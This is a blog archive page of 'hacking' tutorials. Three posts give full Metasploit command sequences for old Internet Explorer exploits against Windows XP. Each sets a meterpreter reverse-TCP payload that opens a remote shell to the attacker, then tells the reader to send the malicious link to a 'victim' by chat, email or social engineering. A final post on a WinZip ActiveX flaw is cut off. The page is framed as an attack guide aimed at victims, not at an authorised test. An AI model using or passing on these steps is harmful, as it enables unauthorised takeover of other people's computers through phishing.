Archive for April, 2012

Hack Remote Windows XP PC using Internet Explorer Winhlp32.exe MsgBox Code Execution

1 year ago

by Raj Chandel in BackTrack 5 Tutorials, Penetration Testing

This module exploits a code execution vulnerability that occurs when a user presses F1 on Message Box originated from VBscript within a web page. When the user hits F1, the Message Box help functionality will attempt to load and use a HLP file from an SMB or WebDAV (if the WebDAV redirector is enabled) server. This particular version of the exploit implements a WebDAV server that will serve HLP file as well as a payload EXE. During testing warnings about the payload EXE being unsigned were witnessed. A future version of this module might use other methods that do not create such a warning.

Exploit Targets

Windows XP service pack 2

Windows XP service pack 3

Internet Explorer 5, 6, 7

Requirement

Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/browser/ms10_022_ie_vbscript_winhlp32

Msf exploit (ms10_022_ie_vbscript_winhlp32)>set payload windows/meterpreter/reverse_tcp

Msf exploit (ms10_022_ie_vbscript_winhlp32)>set lhost 192.168.1.2 (IP of Local Host)

Msf exploit (ms10_022_ie_vbscript_winhlp32)>set srvhost 192.168.1.2 (This must be an address on the local machine)

Msf exploit (ms10_022_ie_vbscript_winhlp32)>set uripath / (The Url to use for this exploit)

Msf exploit (ms10_022_ie_vbscript_winhlp32)>exploit

Now an URL you should give to your victim http://192.168.1.2

Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“

Google+

Hack windows PC with Internet Explorer CSS Set User Clip Memory Corruption Exploit

1 year ago

by Raj Chandel in BackTrack 5 Tutorials, Penetration Testing

This module exploits memory corruption vulnerability within Microsoft’s HTML engine (mshtml). When parsing an HTML page containing a specially crafted CSS tag, memory corruption occurs that can lead arbitrary code execution. It seems like Microsoft code inadvertently increments a vtable pointer to point to an unaligned address within the vtable’s function pointers. This leads to the program counter being set to the address determined by the address “[vtable+0x30+1]“. The particular address depends on the exact version of the mshtml library in use. Since the address depends on the version of mshtml, some versions may not be exploitable. Specifically, those ending up with a program counter value within another module, in kernel space, or just not able to be reached with various memory spraying techniques. Also, since the address is not controllable, it is unlikely to be possible to use ROP to bypass non-executable memory protections.

Exploit Targets

Windows XP service pack 2

Windows XP service pack 3

Internet Explorer 6

Internet Explorer 7

Requirement

Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/browser/ms10_090_ie_css_clip

Msf exploit (ms10_090_ie_css_clip)>set payload windows/meterpreter/reverse_tcp

Msf exploit (ms10_090_ie_css_clip)>set lhost 192.168.1.2 (IP of Local Host)

Msf exploit (ms10_090_ie_css_clip)>set srvhost 192.168.1.2 (This must be an address on the local machine)

Msf exploit (ms10_090_ie_css_clip)>set uripath clips (The Url to use for this exploit)

Msf exploit (ms10_090_ie_css_clip)>exploit

Now an URL you should give to your victim http://192.168.1.2:8080/clips

Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“

Google+

Hack Remote PC using Internet Explorer 7 CFunction Pointer Uninitialized Memory Corruption

1 year ago

by Raj Chandel in BackTrack 5 Tutorials, Penetration Testing

This module exploits an error related to the CFunctionPointer function when attempting to access uninitialized memory. A remote attacker could exploit this vulnerability to corrupt memory and execute arbitrary code on the system with the privileges of the victim.

Exploit Targets

Windows XP service pack 2

Windows XP service pack 3

Internet Explorer 7

Requirement

Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/browser/ms09_002_memory_corruption

Msf exploit (ms09_002_memory_corruption)>set payload windows/meterpreter/reverse_tcp

Msf exploit (ms09_002_memory_corruption)>set lhost 192.168.1.2 (IP of Local Host)

Msf exploit (ms09_002_memory_corruption)>set srvhost 192.168.1.2 (This must be an address on the local machine)

Msf exploit (ms09_002_memory_corruption)>set uripath memory (The Url to use for this exploit)

Msf exploit (ms09_002_memory_corruption)>exploit

Now an URL you should give to your victim http://192.168.1.2:8080/memory

Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“

Google+

How to Attacking on Windows PC in LAN using WinZip

1 year ago

by Raj Chandel in BackTrack 5 Tutorials, Penetration Testing

The File View ActiveX control (WZFILEVIEW.FileViewCtrl.61) could allow a remote attacker to execute arbitrary code on the system. The control contains several unsafe methods and is marked safe for scripting and safe for initialization. A remote attacker could exploit this vulnerability to execute arbitrary code on the victim system. WinZip 10.0 <= Build 6667 are vulnerable.